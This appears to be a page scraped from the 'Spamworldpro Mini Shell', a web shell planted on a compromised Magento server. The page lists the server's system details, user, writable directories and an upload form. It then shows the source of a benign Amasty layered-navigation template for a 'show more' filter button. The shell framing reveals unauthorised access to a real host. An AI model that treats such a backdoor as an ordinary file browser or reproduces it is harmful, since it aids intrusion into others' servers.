Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/shopby/view/frontend/templates/layer/widget/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/shopby/view/frontend/templates/layer/widget/hide_more_options.phtml
<?php
/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Improved Layered Navigation Base for Magento 2
 */
/** @var \Amasty\Shopby\Block\Navigation\Widget\HideMoreOptions $block */
/** @var \Magento\Framework\Escaper $escaper */

use Amasty\Shopby\Model\Source\DisplayMode;

$dataAmJsAttribute = 'data-am-js=%s';
$dataTextMore = __('Show (%1) more', '<span class="am-counter" data-am-counter="counter"></span>');

if ($block->getIsState()) {
    $buttonSelector = sprintf($dataAmJsAttribute, 'show-more_button_state');
    $itemSelector = '[' . sprintf($dataAmJsAttribute, 'shopby-container') . ']';
    $numberUnfoldedOptions = $block->getUnfoldedOptions();
    $isModeDropdown = false;
    $filterCode = '';
} else {
    $filterSetting = $block->getFilterSetting();
    $isModeDropdown = $filterSetting->getDisplayMode() == DisplayMode::MODE_DROPDOWN;
    $filterCode = $escaper->escapeHtml($filterSetting->getAttributeCode());
    $buttonSelector = sprintf($dataAmJsAttribute, 'am-filter-items-' . $filterCode . '-show-more');
    $itemSelector = '.am-filter-items-' . $filterCode;
    $numberUnfoldedOptions = $filterSetting->getNumberUnfoldedOptions();
}
?>

<?php if (!$isModeDropdown): ?>
    <button class="am-show-more"
        title="<?= $escaper->escapeHtml(__('Show more')) ?>" <?= $escaper->escapeHtml($buttonSelector) ?>
        data-text-more="<?= $escaper->escapeHtml($dataTextMore) ?>"
        data-text-less="<?= $escaper->escapeHtml(__('Less'))?>"
        aria-controls="am-ranges-<?= $escaper->escapeHtmlAttr($filterCode)?>"
        aria-expanded="true"
        data-is-hide="false">
        <?= $escaper->escapeHtml(__('Less')) ?>
    </button>

    <script type="text/x-magento-init">
        {
            "<?= /* @noEscape */ $itemSelector ?>": {
                "amShopbyFilterHideMoreOptions": {
                    "numberUnfoldedOptions": <?= $escaper->escapeHtml($numberUnfoldedOptions) ?>,
                    "buttonSelector": "[<?= /* @noEscape */ $buttonSelector ?>]",
                    "isState": "<?= /* @noEscape */ $block->getIsState() ?>"
                }
            }
        }
    </script>
<?php endif; ?>

Spamworldpro Mini